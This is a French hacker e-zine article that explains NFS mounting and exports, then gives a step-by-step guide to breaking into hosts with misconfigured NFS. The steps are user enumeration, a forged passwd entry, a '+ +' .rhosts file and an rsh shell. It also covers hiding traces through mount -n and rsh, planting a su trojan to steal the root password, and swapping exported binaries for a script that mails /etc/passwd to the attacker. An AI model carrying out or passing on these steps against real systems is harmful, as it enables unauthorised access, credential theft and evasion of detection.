------------------------------------------------------------------------------------------- VII. NFS & Intrusion par NeoFox ------------------------------------------------------------------------------------------- [ Avertissement ] Cet article est illustré par une dizaine de captures réalisées par mes soins, dans le but d'illustrer un peu mes propos. Ces images au format .jpg sont disponnibles sur le site du groupe, dans une archive .zip que nous avons mis à part pour des questions de comodité et notemment au niveau du temps de téléchargement. L'archive .zip doit faire environ 300Ko. Introduction : ______________ Voici un article qui aborder l'utilisation d'NFS et les risques liés à son exploitation. On entend souvent parler d'NFS ou plus précisément de la manip qui permet d'en abuser ... J'ai écrit cet article car je pense qu'il vaut mieux commençer par étudier le fonctionnement de tel ou tel système aulieu de vouloir à tout prix l'exploiter sans n'y rien comprendre. | Chap I. Présentation d'NFS | ____________________________ Nous allons voir ce qu'est NFS, comment il s'utilise et comment il est configuré. 1.1 Généralités : __________________ NFS signifie " Network File System ". C'est un protocole de la couche Application qui permet à un hôte de partager ses fichiers avec d'autres machines. Si un fichier d'une machine est utilisé via NFS par une autre, on dit que ce fichier ou ce répertoire est " monté " ou " exporté " . NFS est un protocole qui fonctionne sous UDP ( cf mon article sur TCP/IP ). L'utilisaion d'NFS est transparent pour l'utlisateur pour lequel les fichiers exportés semblent virtuellement présents sur la machine cliente. NB : La machine qui demande le montage d'un fichier est apellée machine cliente, celle qui permet le montage de ses répertoires est apellée serveur NFS. NFS est souvent utilisé pour centraliser les homedirs des utlisateurs sur le serveur. L'utlisation d'NFS est en soi assez simple commme nous allons le voir. 1.2 Utilisation : __________________ Pour demander le montage d'un répertoire distant par NFS, il faut être autorisé par le serveur NFS, et utiliser certaines commandes au prompt. Les commandes en question sont " mount " ( pour monter ) et " umount " ( pour démonter ). Mount et unmount doivent vous être familiers si vous avez un tant soit peu l'habitude de linux car ce sont les commandes permettant d'accéder au lecteur de disquettes et au CD-ROM. Voici la syntaxe de mount : [root@localhost /root]# mount [options] [machine]:[/répertoire] [/répertoire local] Pour monter un fichier il faut en général être root sur sa machine. Vous devez ensuite créer un répertoire local vide qui sera le point de montage. La machine cible possède un répertoire apellé " répertoire distant " . Cette commande demande donc le montage du répertoire distant dans le point de montage qui est votre répertoire local. Lorsqu'on descend dans le point de montage, on peut consulter les fichiers du répertoire distant tout en ayant l'impression qu'ils sont sur la machine locale. Lorsqu'on en a treminé avec le répertoire il suffit de le démonter avec umount. Voici la syntaxe de umount : [root@localhost /root]# umount point-de-montage Cette commande demande donc le démontage du fichier. Si l'on redescend ensuite dans le répertoire de montage, celui-ci sera à nouveau vide. Lorsqu'une machine locale monte un répertoire distant, un entrée temporaire est crée dans le /etc/mtab local. Le ficher /etc/mtab contient la liste de tout les fichiers montés sur un machine. Y figurent des entrées correspondant au fichiers système montés au démarrage de la machine, comme les partitions, le lecteur de disquettes ( /mnt/floppy ) et de CD-ROM ( /mnt/cdrom ). Le fichier mtab liste l'ensemble des fichiers systèmes qui sont montés en ce moment même sur la machine. On y trouvera aussi des entrées NFS si des montages sont en cours. Pour ne pas qu'un montage NFS laisse de trace dans le mtab , on peut utiliser l'option " -n ". La commande de montage complète devient donc ( en y ajoutant -n et -t nfs pour signaler qu'on veut utiliser NFS ) : [root@localhost /root]# mount -nt nfs serveur.reseau.com:/répertoire-distant /point-montage La figure 1 montre le ficher mtab lorsqu'un montage a été fait avec option ce qui ne laisse pas de traces, et un autre fait sans options où l'on voit clairement qu'un montage nfs est en cours. Les entrées de /etc/mtab sont générées par une procédure automatique lançée au démarrage. Elle s'appuie sur le fichier /etc/fstab. Le fichier /etc/fstab contient la liste des fichiers système qui doivent être montés automatiquement au démarrage. Ce fichier indique que seront montés au démarrage, les partitions, le lecteur de disquette et le CD. Il peut contenir aussi une ou plusieurs entrées NFS qui demanderont le montage de tel ou tel répertoire distant lors du démarrage. Pour demander un montage automatique, vous pouvez ajouter autant d'entrées que vous voulez à fstab comme on le voit sur la figure 2. Sur cette capture on voit qu'au démarrage sera demandé automatiquement le montage du répertoire /home/fox de la machine myserver dans le /home local tout cela en plus des fichiers standards ( partitions etc ... ) . Vous savez à présent comment monter et démonter un système de fichiers depuis une machine distante sur la votre. 1.3 Système d'authenfication : ______________________________ On ne peut monter un système de fichier distant que si le serveur NFS qui met à disposition ses répertoires nous autorise à le faire. Alors comment savoir qui peut monter quoi ?! Pour qu'un hôte ait le droit de faire un montage NFS, il faut que le serveur NFS l'authentifie comme "ami" ou " de confiance " . Cette authentification s'appuie sur le fichier /etc/exports. La figure 3 présente un exmple de fichier exports. Le fichier /etc/exports définit quelles machines seront autoriées à effectuer un montage. On voit sur ce fichier que la machine autorise le montage de son /usr/local et de son /export/home par les machines de son réseau, spot,king, pluto, astro et spike. Seules les machines que nous venons de citer sont autorisées à monter les répertoires visés. Si une personne veut demander le montage depuis une autre machine, sa demande sera rejetée par le serveur. Pour savoir à qui un serveur autorise le montage de ses fichiers, on peut utiliser la commande " showmount ". Cette commande permet de voir la liste des fichiers exportables. Elle provoque en somme l'affichage de /etc/exports. Voici la syntaxe de la commande showmount : [root@localhost /root]# showmount [option] [machine] Les options de showmount sont " -a " et " -e " . Lorsqu'une machine A a monté ne serait-ce qu'une fois les fichiers d'une machine B, B garde en mémoire ( si vous savez où, vous êtes plus au point que moi et n'avez pas besoin de lire ceci ) une trace de ce montage. L'option " -a " permet donc d'afficher la liste de hôtes qui ont déja monté au moins une fois un fichier de la machine en question. Si comme vous le verez sur la figure 4 vous avez monté un fichier de cette bécane, votre nom d'hote sera inscrit dans cette liste. ( La faut afficher la figure 4 ... ) Vous voyez sur cette figure que j'ai monté certains fichiers de ces 2 machines. Ici "localhost.localdomain" est le nom d'hôte par défaut de ma machine. Dites vous bien que si vous ne souhaitai pas laisser de telle trace pour une raison qui vous est propre, il faut mieux demander le montage depuis une autre machine, pas depuis la vôtre. L'option " -e " permet quant à elle de consulter la liste des fichiers exportables d'une machine en demandant l'affichage de son /etc/exports. En clair, ça permet de savoir qui peut monter quoi. En résumé, le système d'authentification utilisé par NFS est basé sur une reconnaissance des nom d'hôtes ou des adresses logiques. NFS compare ensuite la requête avec le contenu de /etc/exports et détermine si la machine cliente peut ou non accèder à ses ressources. Voici un petit script apellé " cmount.pl " qui permet de faire un " showmount -e " à toute une liste de machines ( liste que vous apellerez " domains " ). --------------------------- cut here ------------------------------------------------ #!/usr/bin/perl -w # # Assign null list to @URLs which will be added to later. my(@result) = (); my(@domains) = (); my($program) = "showmount -e "; # Pull off filename from commandline. If it isn't defined, then assign default. my($DomainFilename) = shift; $DomainFilename = "domains" if !defined($DomainFilename); # Do checking on input. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); # Open $DomainFilename. open(DOMAINFILE, $DomainFilename) or die("mountDomains: Cannot open $DomainFilename for input.\n"); while () { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = ; next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, ">$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ---------------------- cut here ----------------------------------------------------- | Chap II. NFS & Sécurité | __________________________ Nous allons voir comment l'utilisation d'NFS peut engendrer des problèmes de sécurité et tant qu'à faire, comment en profiter pour gagner l'accès au système. 2.1 Faiblesses d'NFS : ______________________ On sait qu'NFS utlise un système d'authentification basé sur la reconaissance des hôtes et non des utlisiateurs. Donc si un intrus a un accès illégal à une machine amie, il pourra accéder à toutes les ressources NFS auquelles cette machine a accès. Imaginez alors qu'une machine A autorise le montage de tous ses fichiers à la machine B sur laquelle un intrus à un accès root ... Sur un réseau où troune NFS, il y possibilité de déterminer les relations de confiance existant machines d'un même réseau. En effet, en consultant /etc/exports par un showmount -e ou la liste des machines qui ont déja monté le serveur par un showmount -a on peut savoir qui fait confiance à qui. Un attaquant peut ainsi spoofer l'IP d'une machine " amie " pour en attaquer une autre. Deplus, si une machine permet à une autre de monter des fichiers "sensibles" comme les homedirs, on peut penser qu'elles peuvent entretenir des relations de confiance par commandes *R. Si l'attaquant à accèss à un compte d'user, il est possible qu'il puisse accèder par rlogin au compte de cet user sur une machine amie. Enfin, la principale " faille " engendrée par NFS est du a une mauvaise configuration de /etc/exports. C'est celle-ci que nous allons exploiter plus loin. Dans l'exemple de la figure 3, exports est bien configuré, puisqu'aucune machine autre que celles y figurant ne peuvent monter quoi que ce soit. Ce n'est pas toujours le cas. Certains administrateurs désirant permettre à toutes les machines de leur réseau de monter les systèmes de fichiers d'une autre machine, configurent son /etc/exports comme celui de la figure 5. On voit que la machine autorise à monter certains répertoires importants mais que la liste des hôtes autorisés à le faire n'est pas indiquée. Enfait, NFS en déduira que les fichiers conçernés sont accessibles à tout le monde. Le " Showmount -e " va donc donner la capture figure 6. On y voit les " evryone " ce qui signifie comme nous venons de dire que tout le monde, vous et moi y compris, avons le droit d'accéder à ces fichiers. Une alternative pour permettre le montage par toutes les machines du réseau ( ici Kent.edu ) serait de configurer le /etc/exports de la machine comme celui de la figure 7. Dans le cas où l'administrateur aurait mal configuré le /etc/exports, il y a possibilité comme nous allons le voir, de gagner l'accès au système. 2.2 Abuser d'NFS : __________________ Nous allons voir les grandes étapes de l'attaque. Dans un premier temps, on va voir ensemble le concept de l'intrusion, et ensuite rapeler les notions qu'il vous faut connaître. Le but du jeu et de pouvoir monter grâce à NFS un homedir d'utilisateur sur la machine attaquante. Dans ce homedir, il faudra gagner les droits du propriétaire des fichiers afin d'avoir le droit d'écriture et de pouvoir ainsi plaçer un .rhosts qui nous permettra par la suite de nous loger avec rsh ou rlogin. Voyons tout cela en détail : Tout dabord, il vous faut faire un showmount -e pour savoir a quoi vous pouvez avoir accès. Admettons que la machine vous laisse monter un répertoire. Il faut qu'un de ces répertoires soit un homedir pour y placer un .rhosts. Il vous faut vérifier la position des homedirs grâce à la commande finger. Sa syntaxe : [root@machine-attaquante]# finger -l user @machine-cible.com Ce qu'il vous faut c'est le login d'un utilisateur afin de pourvoir vérifier l'emplaçement de son compte. Essayez avec le login guest ( c'est un compte par défaut ). Donc vous faites un " finger -l guest @cible.com " ou encore dans votre navigateur " http://machine-cible.com/cgi-bin/finger?guest ". Si cela ne fonctionne pas il vous faudra essayer finger sur un autre nom d'utilisateur. Faites un " finger @cible " pour voir qui est connecté. S'il y a quelqu'un, faites un finger sur lui pour savoir où est son homedir. Vous pouvez trouver un nom d'user par divers moyens. Faites un whois sur la cible et essayez les noms qu'il vous sort. La commande EXPN lors d'une connection Telnet au port 25 peut aussi s'avérer utile. Bref, vous devez avec tout ça avoir un nom d'utilisateur sur lequel vous ferez un finger vous aperçevoir que son homedir est enfait situé dans le répertoire auquel vous avez accès par NFS. Il vous faut donc créer un répertoire teporaire pour demander le montage de ce homedir. Une fois le répertoire monté, vous devez y descendre et faire un " ls -al". Vous voyez avec cette commande l'uid/gid de l'utilisateur ( appellons le toto ). Seul toto à le droit d'écrire dans ce répertoire. Si vous voulez créer un fichier .rhosts dans le homedir de toto, vous ne pouvez le faire que si vous êtes un utilisateur du même nom avec les mêmes uid/gid à moins que le homedir lui même ne soit " drwxrwxrwx " c'est à dire en lecture/écriture pour tout le monde. On rapelle qu'à ce stade de la manoeuvre, vous travaillez toujours sur votre machine, la machine d'attaque, sur laquelle est monté le homedir. Comme vous êtes root sur cette machine locale, vous pouvez taper une commande du style [root@machine-attaquante]# echo toto:*:uid:gid:toto:/:/bin/sh >> /etc/passwd Vous venez de créer un utilisateur toto sur la machine d'attaque. Vous devenez donc toto en faisant un " su toto ". De retour dans le homedir monté, vous avez maintenant l'uid et le gid de toto et vous pouvez donc y plaçer un .rhosts. On va revoir le principe des commandes *R ( rlogin, rsh ... ) pour savoir quoi mettre dans ce .rhosts que nous venons de créer. Les commandes R*, ou remote, permettent à un utilisateur de se loger sur son compte sans avoir à fournir de mot de passe. Pour savoir à qui donner un tel accès, les commandes remote se basent sur un fichier présent dans le homedir de l'utilisateur : il s'agit du fichier .rhosts ( remote host ). Un utilisateur, ce cher toto, vient de la machine A et possède un compte sur machine B. Seulement, il en a marre se pauv' toto d'avoir toutjours à se loger sur B avec un mot de passe de 8 caractères chiant à retenir. Il va se dire qu'avec un point .rhosts il pourait se loger sans se soucier du password. De toute façon, il est le seul utilisateur à se connecter sur ce compte alors ... Il va donc sur la machine B, et place dans son homedir un .rhosts. Il veut être le seul à pouvoir se connecter sur son compte B , depuis la machine A. Donc il configure le .rhosts comme suit : machine A toto Seul un utilisateur apellé toto et venant de A poura s'y connecter par rlogin. Pour que tous les utilisateurs venant de la machine A puissent s'y connecter, il faudrait configure le .rhosts comme ça : machine A + Et enfin si l'on veut que tout le monde ait accès à ce compte, le fichier ressemble a : + + Voila, voila ... Donc lorsque toto va faire une demande de connection sur la machine B au compte toto, la machine B ( plus précisément le démon rlogind ) vérifie le contenu du .rhosts du homedir toto. La machine B va donc lui autoirser l'accès sans mot de passe. Vous savez quoi mettre dans ce .rhosts maintenant ! Une fois que vous l'avez crée, faites un " echo + + >> .rhosts". Si le .rhosts existait déja, cela rajoutera une ligne sans effaçer les autres. Si le .rhosts n'existait pas, ben maintenant il existe ! Vous avez donc possibilité de vous logger sans mot de passe ( ca tombe bien, vous ne l'aviez pas ;@) ). Vous allez donc utiliser rlogin ou rsh. Voici la syntaxe de rlogin : [root@machine-attaquante]# rlogin -l user machine-cible Et celle de rsh : [root@machine-attaquante]# rsh -l user machine-cible commande-à-exécuter rlogin ouvre une connection directe avec la machine cible, tandisque rsh se contente d'exécuter une commande. L'avantage de rsh est qu'il n'entame pas de connection, donc ne laisse pas de trace dans le utmp/wtmp/lastlog, c'est pourquoi je vous le conseille. Vous vous demandez quelle commande vous allez bien pouvoir faire exécuter à rsh. Le mieux est de demander l'exécution d'un shell par la commande " sh ", " csh " ... On ajoute l'option "-i" pour demander un shell "interactif" . Pour plus de détails consultez les pages de "man" . La commande rsh compléte est donc : [root@machine-attaquante]# rsh -l toto machine-cible csh -i La machine cible va regader dans le homedir de toto, voir que tout le monde a le droit de s'y connecter ( .rhosts avec + + ) et donc exécuter votre commande, en l'occurence un shell. Vous avez à présent un shell d'ouvert sur la machine cible ! Faites un " w " pour savoir qui est connecté. Regardez l'historique de ce compte pour voir si l'utilisateur toto a déja fait un su, ce qui voudrait dire qu'il est autorisé à avoir les droits du root et qu'il en à le mot de passe ... Il ne vous resterait plus alors qu'a installer un sutrojan pour récupérer le pass root la prochaine fois que toto fera un su. Si vous constatez que l'utilisateur dont vous avez usurpé l'identité n'a jamais fait de su, vous pouvez toujours consulter les historiques des autres comptes et y placer, s'il y a lieu, un su trojan. Un conseil qui vous sera peut-être utile : si vous vous dites que de toute façon le /etc/passwd sera shadow, ben faites quand même un " cat /etc/passwd " , juste comme ça, à tout hasard ... Note : ______ Si aucun homedir n'est exportable mais que par exemple un répertoire comme /bin ou /usr/bin l'est, vous pouvez remplaçer certaines commandes fréquemment utilisées par script du même nom mais de votre composition. Par exemple, vous pouvez remplaçer une commande par un script comme : " /bin/mail vous@votrecompte.com < /etc/passwd ". Ca y est, nous avons vu en détail le schéma de l'attaque. Je vais laisser place à une capture d'écran qui illustrera et résumera tout ça. 2.3 Intrusion en image : ________________________ Affichez l'image 8 svp. ! - Ben quoi ? vous avez déja vu des captures d'écran en ASCII vous ?! - Conclusion : ____________ Voila, j'espère que ce petit article vous aura appris quelque chose. Si vous avez des remarques, conseils, écirvez moi à neo_fox_2001@hotmail.com. Il existe pas mal d'articles qui expliquent cette méthode, mais comme je l'ai surement déja dit, ils expliquent tous le fonctionnement de l'attaque sans se soucier réellement du fonctionnement normal. J'ai voulu que cet article soit le plus complet possible. Sources : _________ " UNIX, Installation, Configuration, Administration" Ed. Osman Eyrolles Multimedia " Linux, Solutions Réseau " Viktor T. Toth Ed. Campuspress